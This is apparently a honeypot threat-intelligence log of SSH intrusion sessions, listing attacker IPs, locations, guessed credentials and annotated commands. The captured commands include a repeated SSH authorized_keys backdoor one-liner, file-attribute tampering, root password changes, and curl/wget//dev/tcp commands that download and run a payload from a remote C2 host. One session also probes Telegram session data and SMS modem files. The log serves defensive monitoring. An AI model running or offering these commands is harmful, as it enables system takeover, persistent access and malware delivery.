$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ silent_chai_root (31.42.125.44) โ€” New Delhi, India ยท 1 session ยท 1 cmd
2026-06-27 02:28 EDT ยท as root/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ hollow_acai_root (43.164.197.97) โ€” Sรฃo Paulo, Brazil ยท 1 session ยท 19 cmds
2026-06-27 00:55 EDT ยท as root/123456
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling โ†’ execute from /tmp โ†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:tulHeZV6pEWJ"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ spectral_toucan_root (200.196.50.91) โ€” Rio de Janeiro, Brazil ยท 1 session ยท 19 cmds
2026-06-27 00:42 EDT ยท as root/123456
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling โ†’ execute from /tmp โ†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:XU8c81uWgV0k"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ drowsy_orchid_root (43.160.197.240) โ€” Singapore, Singapore ยท 1 session ยท 2 cmds
2026-06-26 20:58 EDT ยท as oracle/oracle321
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ drowsy_volcano_root (163.227.52.50) โ€” Gianyar, Indonesia ยท 1 session ยท 2 cmds
2026-06-26 18:55 EDT ยท as oracle/123qwe!@#
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ weary_seoul_root_237 (1.222.42.237) โ€” Dalseong-gun, South Korea ยท 1 session ยท 2 cmds
2026-06-26 18:38 EDT ยท as oracle/123qwe!@#
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ rusty_silk_root (118.196.162.1) โ€” Haidian, China ยท 1 session ยท 2 cmds
2026-06-26 18:34 EDT ยท as oracle/123qwe!@#
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ aloof_rogue_root (41.86.34.139) โ€” Victoria, Seychelles ยท 1 session ยท 2 cmds
2026-06-26 18:04 EDT ยท as oracle/123qwe!@#
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ glitchy_stroopwafel_root (176.65.139.114) โ€” Eygelshoven, The Netherlands ยท 31 sessions ยท 31 cmds
2026-06-26 16:24 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 4x across 4 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—31
๐ŸŽญ frantic_star_root (172.174.5.146) โ€” Boydton, United States ยท 1 session ยท 20 cmds
2026-06-26 17:07 EDT ยท as user/password
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "password\nskpMO1x8iUhk\nskpMO1x8iUhk"|passwd|bash
$ Enter new UNIX password:
$ echo "password\nskpMO1x8iUhk\nskpMO1x8iUhk\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ brisk_lantern_db (60.10.50.90) โ€” Chengde, China ยท 1 session ยท 1 cmd
2026-06-26 08:00 EDT ยท as postgres/postgres
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ obsidian_windmill_root (176.65.132.22) โ€” Eygelshoven, The Netherlands ยท 31 sessions ยท 31 cmds
2026-06-26 05:53 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 2x across 2 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—31
๐ŸŽญ unhinged_windmill_root (176.65.139.105) โ€” Eygelshoven, The Netherlands ยท 31 sessions ยท 31 cmds
2026-06-26 05:12 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 3x across 3 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—31
๐ŸŽญ nocturnal_falcon_root_102 (145.241.123.102) โ€” Dubai, United Arab Emirates ยท 1 session ยท 1 cmd
2026-06-26 05:45 EDT ยท as postgres/postgres
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ murky_junk_root_178 (47.242.3.178) โ€” Hong Kong, Hong Kong ยท 2 sessions ยท 10 cmds
2026-06-26 03:24 EDT ยท as root/123456
Credential reuse (root/123456) โ†’ null-byte padding checks (echo 1 > /dev/null) โ†’ truncated binary download via curl (3.7MB partial payloads) โ†’ silent execution via nohup $SHELL -c โ†’ repeated attempts to overwrite /tmp with incomplete files โ†’ C2 beaconing to 157.20.159.
$ echo 1 > /dev/null && cat /bin/echo ร—2
$ nohup $SHELL -c "curl http://157.20.159.54:8905/linux -o /tmp/9fvfzucX1F; if [ ! -f /tmp/9fvfzucX1F ]; then wget http://157.20.159.54:8905/linux -O /tmp/9fvfzucX1F; fi; if [ ! -f /tmp/9fvfzucX1F ]; then exec 6<>/dev/tcp/157.20.159.54/8905 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/9fvfzucX1F ; chmod +x /tmp/9fvfzucX1F && /tmp/9fvfzucX1F Ol0XfV3l9s9mMX3G6v5ech5ER0JdEn9E+vbOZjF7x+r5W3kcS0FHRAZ5WP/qzXoxZs32/ER5E0lNT0UTfEr69cdmMX/H6vpefAhJRk1LEHhb6/XPfi59y+r5WHwITEJGRx5xU//ky3Eueszx5Vt/FlNOTUsTfVvr8MhmMXnJ6vpYfQhOT01FFXpY6/XOeS56zf3lW3kSU0ZHSBxwW/nx3304Zsfz5V15CE9DT0cRe13y5Mt/LnnP8+VcewhPQU1FF3pd6/XPfi59y+r5Wn4ISU5NShR9UuvxxmY2e9H1/l5mF0hDTUsScVjr9c16Ln3O6vpTfQhPQ0JHEHpT+uTHZjF8x+r6WWYUTkVNSx95WOv1zXwues315VxwCExDR0cRcFP45Mt/LnrL9uVZZhdKT01FH35a6/DIZjF6zur5UmYSS01BThd/Svr2y2Yyeszq/FxmF0xETUsffVnr9c15LnzO6v9aZhdMRU1FFHtb6/XOeS56zf3lW3kRU0VHShxxUvz833kxedH2+FpmF01AWU8VelD88sh7IHzG6vlZfQhMQU9TF3BY8fLGcTZozvX7RHwWU0ZBSgh7XPH9x3s2aMf25Vt9EFNEQ1MXflD9/M18IHnP9eVeeghJQVlPFXJT/vPKaDF5y+r6WXoIT0NEUx9/UPL8zXEgcM7q/VJmFE9CWUwWeFDz8cx+IHnP8uVbeghMQUZTF35T8fPJcDJozvT9RH0SU0VHSwh8U/HzzX04aM718kRxF1NFRk4IcVvx889/OC8tpZlGxgZrzFOElMINLNGDUFgbCA==; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/9fvfzucX1F && /tmp/9fvfzucX1F Ol0XfV3l9s9mMX3G6v5ech5ER0JdEn9E+vbOZjF7x+r5W3kcS0FHRAZ5WP/qzXoxZs32/ER5E0lNT0UTfEr69cdmMX/H6vpefAhJRk1LEHhb6/XPfi59y+r5WHwITEJGRx5xU//ky3Eueszx5Vt/FlNOTUsTfVvr8MhmMXnJ6vpYfQhOT01FFXpY6/XOeS56zf3lW3kSU0ZHSBxwW/nx3304Zsfz5V15CE9DT0cRe13y5Mt/LnnP8+VcewhPQU1FF3pd6/XPfi59y+r5Wn4ISU5NShR9UuvxxmY2e9H1/l5mF0hDTUsScVjr9c16Ln3O6vpTfQhPQ0JHEHpT+uTHZjF8x+r6WWYUTkVNSx95WOv1zXwues315VxwCExDR0cRcFP45Mt/LnrL9uVZZhdKT01FH35a6/DIZjF6zur5UmYSS01BThd/Svr2y2Yyeszq/FxmF0xETUsffVnr9c15LnzO6v9aZhdMRU1FFHtb6/XOeS56zf3lW3kRU0VHShxxUvz833kxedH2+FpmF01AWU8VelD88sh7IHzG6vlZfQhMQU9TF3BY8fLGcTZozvX7RHwWU0ZBSgh7XPH9x3s2aMf25Vt9EFNEQ1MXflD9/M18IHnP9eVeeghJQVlPFXJT/vPKaDF5y+r6WXoIT0NEUx9/UPL8zXEgcM7q/VJmFE9CWUwWeFDz8cx+IHnP8uVbeghMQUZTF35T8fPJcDJozvT9RH0SU0VHSwh8U/HzzX04aM718kRxF1NFRk4IcVvx889/OC8tpZlGxgZrzFOElMINLNGDUFgbCA==" &
โ†ณ payload download from C2
$ head -c 3716336 > /tmp/IYWoRa6FLo
โ†ณ execute from /tmp
$ echo 1 > /dev/null && cat /bin/echoQtd#0000 ร—2
$ >A@/`'8 ร—2
$ nohup $SHELL -c "curl http://157.20.159.54:8905/linux -o /tmp/jsXAE2ufOW; if [ ! -f /tmp/jsXAE2ufOW ]; then wget http://157.20.159.54:8905/linux -O /tmp/jsXAE2ufOW; fi; if [ ! -f /tmp/jsXAE2ufOW ]; then exec 6<>/dev/tcp/157.20.159.54/8905 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/jsXAE2ufOW ; chmod +x /tmp/jsXAE2ufOW && /tmp/jsXAE2ufOW Ol0XfV3l9s9mMX3G6v5ech5ER0JdEn9E+vbOZjF7x+r5W3kcS0FHRAZ5WP/qzXoxZs32/ER5E0lNT0UTfEr69cdmMX/H6vpefAhJRk1LEHhb6/XPfi59y+r5WHwITEJGRx5xU//ky3Eueszx5Vt/FlNOTUsTfVvr8MhmMXnJ6vpYfQhOT01FFXpY6/XOeS56zf3lW3kSU0ZHSBxwW/nx3304Zsfz5V15CE9DT0cRe13y5Mt/LnnP8+VcewhPQU1FF3pd6/XPfi59y+r5Wn4ISU5NShR9UuvxxmY2e9H1/l5mF0hDTUsScVjr9c16Ln3O6vpTfQhPQ0JHEHpT+uTHZjF8x+r6WWYUTkVNSx95WOv1zXwues315VxwCExDR0cRcFP45Mt/LnrL9uVZZhdKT01FH35a6/DIZjF6zur5UmYSS01BThd/Svr2y2Yyeszq/FxmF0xETUsffVnr9c15LnzO6v9aZhdMRU1FFHtb6/XOeS56zf3lW3kRU0VHShxxUvz833kxedH2+FpmF01AWU8VelD88sh7IHzG6vlZfQhMQU9TF3BY8fLGcTZozvX7RHwWU0ZBSgh7XPH9x3s2aMf25Vt9EFNEQ1MXflD9/M18IHnP9eVeeghJQVlPFXJT/vPKaDF5y+r6WXoIT0NEUx9/UPL8zXEgcM7q/VJmFE9CWUwWeFDz8cx+IHnP8uVbeghMQUZTF35T8fPJcDJozvT9RH0SU0VHSwh8U/HzzX04aM718kRxF1NFRk4IcVvx889/OC8tpZlGxgZrzFOElMINLNGDUFgbCA==; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/jsXAE2ufOW && /tmp/jsXAE2ufOW Ol0XfV3l9s9mMX3G6v5ech5ER0JdEn9E+vbOZjF7x+r5W3kcS0FHRAZ5WP/qzXoxZs32/ER5E0lNT0UTfEr69cdmMX/H6vpefAhJRk1LEHhb6/XPfi59y+r5WHwITEJGRx5xU//ky3Eueszx5Vt/FlNOTUsTfVvr8MhmMXnJ6vpYfQhOT01FFXpY6/XOeS56zf3lW3kSU0ZHSBxwW/nx3304Zsfz5V15CE9DT0cRe13y5Mt/LnnP8+VcewhPQU1FF3pd6/XPfi59y+r5Wn4ISU5NShR9UuvxxmY2e9H1/l5mF0hDTUsScVjr9c16Ln3O6vpTfQhPQ0JHEHpT+uTHZjF8x+r6WWYUTkVNSx95WOv1zXwues315VxwCExDR0cRcFP45Mt/LnrL9uVZZhdKT01FH35a6/DIZjF6zur5UmYSS01BThd/Svr2y2Yyeszq/FxmF0xETUsffVnr9c15LnzO6v9aZhdMRU1FFHtb6/XOeS56zf3lW3kRU0VHShxxUvz833kxedH2+FpmF01AWU8VelD88sh7IHzG6vlZfQhMQU9TF3BY8fLGcTZozvX7RHwWU0ZBSgh7XPH9x3s2aMf25Vt9EFNEQ1MXflD9/M18IHnP9eVeeghJQVlPFXJT/vPKaDF5y+r6WXoIT0NEUx9/UPL8zXEgcM7q/VJmFE9CWUwWeFDz8cx+IHnP8uVbeghMQUZTF35T8fPJcDJozvT9RH0SU0VHSwh8U/HzzX04aM718kRxF1NFRk4IcVvx889/OC8tpZlGxgZrzFOElMINLNGDUFgbCA==" &
โ†ณ payload download from C2
$ head -c 3716336 > /tmp/zGBcgj5cKf
โ†ณ execute from /tmp
๐ŸŽญ brisk_fog_sol (167.99.82.253) โ€” Slough, United Kingdom ยท 1 session ยท 1 cmd
2026-06-26 01:53 EDT ยท as sol/sol
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m
โ†ณ obfuscated system check
๐ŸŽญ rogue_bike_crypto (165.232.84.86) โ€” Amsterdam, The Netherlands ยท 1 session ยท 1 cmd
2026-06-26 01:41 EDT ยท as eth/eth
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m
โ†ณ obfuscated system check
๐ŸŽญ vapor_bibimbap_root (61.84.211.107) โ€” Gwangju, South Korea ยท 1 session ยท 9 cmds
2026-06-26 00:29 EDT ยท as root/root
network mapping โ†’ OS/kernel identification โ†’ CPU profiling
$ /ip cloud print
$ ifconfig
โ†ณ network mapping
$ uname -a
โ†ณ OS/kernel identification
$ cat /proc/cpuinfo
โ†ณ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
๐ŸŽญ stoic_dragon_root_81 (120.48.124.81) โ€” Beijing, China ยท 1 session ยท 2 cmds
2026-06-25 22:58 EDT ยท as oracle/123.com
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ hollow_betel_root (211.75.252.252) โ€” Kaohsiung, Taiwan ยท 1 session ยท 17 cmds
2026-06-25 21:06 EDT ยท as oracle/Oracle@2025
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "Oracle@2025\nf3z0FCKoWVA9\nf3z0FCKoWVA9"|passwd|bash
$ Enter new UNIX password:
$ echo "Oracle@2025\nf3z0FCKoWVA9\nf3z0FCKoWVA9\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ stoic_stroopwafel_root (178.208.88.6) โ€” Amsterdam, The Netherlands ยท 32 sessions ยท 32 cmds
2026-06-25 17:10 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—32
๐ŸŽญ silent_lantern_root (118.122.147.49) โ€” Chengdu, China ยท 1 session ยท 2 cmds
2026-06-25 16:58 EDT ยท as oracle/oracle2024
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ wired_mekong_root_47 (45.117.177.47) โ€” Quแบญn Mฦฐแปi, Vietnam ยท 1 session ยท 2 cmds
2026-06-25 16:54 EDT ยท as oracle/oracle2024
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
